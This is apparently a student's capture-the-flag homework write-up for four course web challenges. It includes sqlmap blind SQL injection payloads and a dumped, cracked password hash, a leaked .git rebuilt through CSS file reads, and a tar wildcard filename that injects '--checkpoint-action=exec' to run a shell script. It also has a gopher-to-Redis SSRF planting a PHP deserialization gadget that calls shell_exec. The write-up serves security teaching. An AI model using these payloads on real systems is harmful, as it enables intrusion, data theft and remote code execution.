

HW4 Writeup

b08901164 電機四 林霏瑀
username: lpy

Pasteweb_flag1

myrequest.txt:

```
POST / HTTP/1.1
Host: pasteweb.ctf.zoolab.org
Cookie: PHPSESSID=rkctk4c6sgigcdrg9qrqrv0vq
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://pasteweb.ctf.zoolab.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pasteweb.ctf.zoolab.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=sdaf
```

run.sh:

```
REQ_FILE="myrequest.txt"
python sqlmap.py -r $REQ_FILE --eval="import
time;current_time=round(time.time())" --dump
```

We can get the database structure:

```
Backend DB Type: PostgreSQL
  database
    public
      tables
        pasteweb_accounts
          columns
            user_account
            user_id
            user_password
```

```
s3cr3t_t4b1e
columns
fl4g
FLAG{B1inD_SqL_IiIiNj3cT10n}
```

```
[14:10:47] [INFO] parsing HTTP request from './my_request'
[14:10:48] [INFO] resuming back-end DBMS 'postgresql'
[14:10:48] [INFO] testing connection to the target URL
got a 301 redirect to 'https://pasteweb.ctf.zoolab.org/'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
  Type: stacked queries
  Title: PostgreSQL > 8.1 stacked queries (comment)
  Payload: username=admin';SELECT PG_SLEEP(5)--&password=haha
---
[14:10:52] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP 7.4.33
back-end DBMS: PostgreSQL

[14:11:08] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.....
[14:11:23] [INFO] adjusting time delay to 1 second due to good response times
fl4g
[14:11:39] [INFO] fetching entries for table 's3cr3t_t4b1e' in database 'public'
[14:11:39] [INFO] fetching number of entries for table 's3cr3t_t4b1e' in database 'public'
[14:11:39] [INFO] retrieved: 1
[14:11:41] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.....
FLAG{B1inD_SqL_IiIiNj3cT10n}
Database: public
Table: s3cr3t_t4b1e
[1 entry]
+-----+
| fl4g |
+-----+
| FLAG{B1inD_SqL_IiIiNj3cT10n} |
+-----+
```

1st entry in pasteweb_accounts:

- username: admin
- password: 00ff3da3f03eb731c08c1a34de757574

Crack the hash with <https://crackstation.net/>. We can get the admin's password: P@ssw0rD

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

00ff3da3f03eb731c08c1a34de757574

I'm not a robot

reCAPTCHA

Privacy - Terms

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

Hash	Type	Result
00ff3da3f03eb731c08c1a34de757574	md5	P@ssw0rD

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

Discussed with: r10922152, b08901162

Pasteweb_flag2

First, we create an account with sqlmap, using the argument `-sql-shell`. We also hash the password with md5 before inserting it into the table.

Example: username : ahhh, password: ahhh

```
REQ_FILE="myrequest.txt"
python sqlmap.py -r $REQ_FILE --eval="import
time;current_time=round(time.time())" --sql-query="INSERT INTO
pasteweb_accounts(user_account, user_password) VALUES('ahhh',
'dd6f7b39cbb600349d0c7f1ad8b88e8f');"

```

Use dirsearch tool to search for useful paths:

```
[19:04:40] 301 - 333B - /.git ->
http://pasteweb.ctf.zoolab.org/.git/
[19:05:40] 302 - 0B - /download.php -> /
[19:05:53] 200 - 1KB - /index.php
[19:05:53] 200 - 1KB - /index.php/login/
[19:06:27] 200 - 31B - /robots.txt
[19:06:52] 302 - 0B - /view.php -> /

```

We can see in robots.txt file that a git file exists

```
User-agent: *
Disallow: /.git/*

```

First, we get `.git/HEAD`, decode it and run the following:

```
(base) macbookpro@ip87-59 ~/uni/cs/hw4/pasteweb/flag2/editcss master git cat-file -p
f7fac4b9675f72b3333c732e7ed5a0066d78599d
tree fcd8b9d52a82bc3dc614bfb80598c3483984ce99
parent 7d7ccfd5ddfd6714a4e712e560924704ddb9c42e
author developer <developer@gmail.xxxx> 1670356511 +0000
committer developer <developer@gmail.xxxx> 1670356511 +0000

```

Add flag

Then, we use `fcd8b9d52a82bc3dc614bfb80598c3483984ce99` as the next hashid

```
(base) macbookpro@ip87-59 ~/uni/cs/hw4/pasteweb/flag2/editcss master git cat-file -p
fcd8b9d52a82bc3dc614bfb80598c3483984ce99
100644 blob b1d52f3b90279a6fae59195030943447c7c8977a download.php
100644 blob 2dfb7f975434b786b30506a537fc318d494f374c editcss.php
100644 blob 19092ed3c2ac784759968ba1609c3648bc365385 edithtml.php
100644 blob 4682c0755761ff4e4724df9495f151212bebcf01 index.php
100644 blob b66e22d6d4a2a5b9b17ca66165485cf2c8cf8025 lessc.inc.php
100644 blob 61b703a297c84d929ff7e23004b9a731c0fb8de6 share.php
100644 blob a360d0d06ebd2c52c1da71adc3b6e95fc838869a view.php

```

Then, we download the base64 files with CSS format:

```
body {
  content:
data-uri('/var/www/html/.git/objects/hashid[0:2]/hashid[2:]');
}
```

Create the files locally and run `git cat-file -p hashid` to get the original files.

Code to regenerate the whole .git directory:

```
import os
import base64

object_files = [

"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
```

i8GhHC2zYeK0dGfCCV92g6U9SULG0czK1M0LHCNn3p/Y3gnbikRE0iANYndW8cD4qpB33sYp
QkwKOL3g37kzf5x6gw/UybpNBgQnGo8F1ozV62ZZLG45iT00rq3WbgehK0yBXGeDuQBh6ih7
ZQa8Gpr9wdjLR6Yxevaz2j9KCaIW0uc9ta521ZGheaPqQ40h7QFkcqWVP64PHMODGAOfPfGP
gZrZrJ/uvCX1Td3o6IzRt7U1lLt0HROP8wkEHmcayWXDnfXctZ1jYNo0ZFGmXSC5nMYMQZQ
JpXtAqhKNnflmsZF7kczxqaBCoyTyOam2acKzPSBh1cXEUHw+5c7yjTzjxpEJJrgJdAk0+se
Gtf1ScoUUqOw1VC0tEiJOS90TPrXsCMmcmuLR15fBZK+3uyhb3UUin3PGE1eMaXt/BYdEocU
=" ,

"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
/AF0xpns=" ,

"eAftjsEKgkAURds2X/GS40lGKQhCK1eCQWQ00kZERp2YgXTEGwoR/XtTbdte7jn31jdVw2K
9nGziQWQEQH0tpeorbldhoXC+ykby6M6k1N+68ogml++xYYM86jqXnPW0BQHDW8tF1DqphxuI
hBM6XBWgl/2leHx5IxSgMGYIgwD9j+98Sc4Fpn1+qtKM51j6GNwlf/j2TyzbLfpdu/qzHJF
4R970fzaX" ,

"eAGFUVtLwzAU9nX9FwdjmBa0EWWIW2wfdIggKkwQGVrS5swGehnNESbS/27arjpF8KlNcr7
ribMyht0jyZ4I1+naATBojC6LyJCsyPvm9kqvXG0Mkju0ruYPS6YVe/Zgfx/Wfb5GuaQkdRl
/WcrD1dHh2fPHyXE95podw06892GZAMZGFiouN3AOz0fbA2f+zqjPOGtgK2FwhyudYYQbbci
4PdrbsgEoje5IK1AlmoIRtIPDUesboLY0NWBmcDfEYr5YXN/dLlkhc7RR/rGWq4lN/hvUu6z
BcQb/Gk1RKqzc0U2ZSLl1ToH3HpsE1u6gtjxJqnT1nbJpYUwp5mjr+rGC9tJaD8FQFVW4zmS
Cdgm2pZdfD81BaZwJd8ysswGgeOI4eXdxcPT/RxSyrPAEd0HQDRGg7Z8QZoyD06lIXzEWPd
u3L0Zerdv7b8Fheftkl6RoqQsCItmVa24z/zEGObNwgA6JP+Cct6LibhU71vVv7iYLhRu/Mb
kF5XgHciytBGcT23mzt8="

]

```
hashid = [  
    "b1d52f3b90279a6fae59195030943447c7c8977a" ,  
    "2dfb7f975434b786b30506a537fc318d494f374c" ,  
    "19092ed3c2ac784759968ba1609c3648bc365385" ,  
    "4682c0755761ff4e4724df9495f151212bebcf01" ,  
    "61b703a297c84d929ff7e23004b9a731c0fb8de6" ,  
    "a360d0d06ebd2c52c1da71adc3b6e95fc838869a"  
]
```

```
files = [
```

```

"download.php",
"editcss.php",
"edithtml.php",
"index.php",
"share.php",
"view.php"
]

os.system("git init")

for i in range(len(hashid)):
    os.system(f"mkdir .git/objects/{hashid[i][0:2]}")
    f = open(f".git/objects/{hashid[i][0:2]}/{hashid[i][2:]}", "wb+")
    content = base64.b64decode(object_files[i])
    f.write(content)

for i in range(len(hashid)):
    os.system(f"git cat-file -p {hashid[i]} > {files[i]}")

```

Flag: FLAG{a_l1tTl3_tRicKy_.git_L34k..or_D1d_y0u_f1nD_a_0Day_1n_lessphp?}

Discussed with: r10922152, b08901162

Pasteweb_flag3

We exploit the wildcard in : tar -cvf download.tar *

Using the theme data field in editcss.php, we can create a file:





```
--checkpoint-action=exec=chmod +x index.html;sh index.html;cat default
```

This allows the action to be run at each checkpoint.

index.html will be the script we execute to get the output from /readflag to default.css

```
/readflag > default.css
```

Then, we need to ensure the total file size is large enough to trigger our checkpoint-action. I added another large file: 2.css to ensure my script will be executed.

 2.css	Today at 10:55 PM	255 KB	CSS style sheet
 default.css	Today at 10:59 PM	32 bytes	CSS style sheet
 index.html	Today at 10:56 PM	23 bytes	HTML text
 input.less	Today at 10:55 PM	274 KB	Document

Then, by clicking on the download button, we can get the zipped directory. The flag will have overwritten the original contents of default.css.

Note: username: panda, password: panda

```
FLAG{aRgUm3nT_Inj3ct10n_2_RcE}
```

Reference: <https://mgt.gitbook.io/oscp-notes/tar-wildcard-injection>

Discussed with: r10922152, b08901162

HugeUrl

We can do SSRF by using gopher with redis to save any deserialized class in redis. For example, with the following script, we can create a new Page class saved with an arbitrary key.

example code to create an arbitrary deserialized Page class:

```
import base64
import urllib.parse

destination_url = "http://yahoo.com"
title = "MY TITLEEEEE"
preview = "<script></script>"
mystr =
f"0:4:\\"Page\\":3:{{s:3:\\"url\\";s:{len(destination_url)}:\\"{destination_u
rl}\\";s:11:\\"\\x00Page\\x00title\\";s:{len(title)}:\\"{title}\\";s:13:\\"\\x00P
age\\x00preview\\";s:{len(preview)}:\\"{preview}\\";}}"
```

```
for i in range(len(mystr)):
    print(ord(mystr[i]), end=',')
```

example code to send the payload:

```
import base64
import urllib.parse
import os

# domain = "http://127.0.0.1:10004/create"
domain = "http://edu-ctf.zoolab.org:10099/create"
gopher_url = "gopher://redis:6379/_"
```

```
lua_script = 'EVAL "local key = \'abc\'; local url =
string.char(79,58,52,58,34,80,97,103,101,34,58,51,58,123,115,58,51,58,34
,117,114,108,34,59,115,58,49,54,58,34,104,116,116,112,58,47,47,121,97,10
4,111,111,46,99,111,109,34,59,115,58,49,49,58,34,0,80,97,103,101,0,116,1
05,116,108,101,34,59,115,58,49,49,58,34,77,89,32,84,73,84,76,69,69,69,69
,34,59,115,58,49,51,58,34,0,80,97,103,101,0,112,114,101,118,105,101,119,
34,59,115,58,49,55,58,34,60,115,99,114,105,112,116,62,60,47,115,99,114,1
05,112,116,62,34,59,125);return redis.call(\'SET\', key, url);" 0'
```

```
print(lua_script)
lua_script = urllib.parse.quote(lua_script)
gopher_url += lua_script
gopher_url = urllib.parse.quote(gopher_url)
print(gopher_url)
os.system(f"curl {domain} --data url={gopher_url}")
```


Then, we need to save the deserialized Bulletphp/App class to redis like the following code:

```
<?php
class App
{
    protected $_request;
    protected $_response;
    protected $_paths = array();
    protected static $_pathLevel = 0;
    protected $_requestMethod;
    protected $_requestPath;
    protected $_currentPath;
    protected $_paramTypes = array();
    protected $_callbacks = array(
        'path' => array(),
        'param' => array(),
        'method' => array(),
        'subdomain' => array(),
        'domain' => array(),
        'format' => array(),
        'custom' => array()
    );

    protected $_helpers = array();
    protected $_responseHandlers = array();

    public function __construct()
    {
        $this->_request = "a";
        $this->_response = "b";
        $this->_paths = ['abc', 'def'];
        $this->_requestMethod = "c";
        $this->_requestPath = 'd';
        $this->_currentPath = 'e';
        $this->_paramTypes = ["abc"];
        $this->_callbacks = [[], [], [], [], [], [], []];
        $this->_callbacks['custom'] = array(
            0 => 'previewCard'
        );
        $this->_callbacks['custom']['previewCard'] = "shell_exec";
        $this->_helpers = [];
        $this->_responseHandlers = [];
    }
}

$app = new App();
```

```
echo serialize($app);
```

Output:

```
0:3:"Bullet/App":10:{s:11:"*_request";s:1:"a";s:12:"*_response";s:1:"b";
s:9:"*_paths";a:2:{i:0;s:3:"abc";i:1;s:3:"def";}s:17:"*_requestMethod";s
:1:"c";s:15:"*_requestPath";s:1:"d";s:15:"*_currentPath";s:1:"e";s:14:"*
_paramTypes";a:1:{i:0;s:3:"abc";}s:13:"*_callbacks";a:8:{i:0;a:0:{i:1;a
:0:{i:2;a:0:{i:3;a:0:{i:4;a:0:{i:5;a:0:{i:6;a:0:{s:6:"custom";a:2:
{i:0;s:11:"previewCard";s:11:"previewCard";s:10:"shell_exec";}}s:11:"*_h
elpers";a:0:{s:20:"*_responseHandlers";a:0:{}}
```

As seen in Bullet/App:

```
public function __call($method, $args)
{
    if(isset($this->_callbacks['custom'][$method]) &&
is_callable($this->_callbacks['custom'][$method])) {
        $callback = $this->_callbacks['custom'][$method];
        return call_user_func_array($callback, $args);
    } else {
        throw new \BadMethodCallException("Method '" . __CLASS__ . "::" .
$method . "' not found");
    }
}
```

When an unknown method is called, `__call()` magic method will be used. We can exploit `call_user_func_array("shell_exec", ["/readflag give me the flag"])` to get shell. We get the App class when `$page = redis->get($slug)` is called. And when `$page->previewCard()` is called, the `__call()` method will be executed. However, the arguments passed to `previewCard()` will be empty, therefore I did not succeed in getting the shell.

Discussed with: b09502032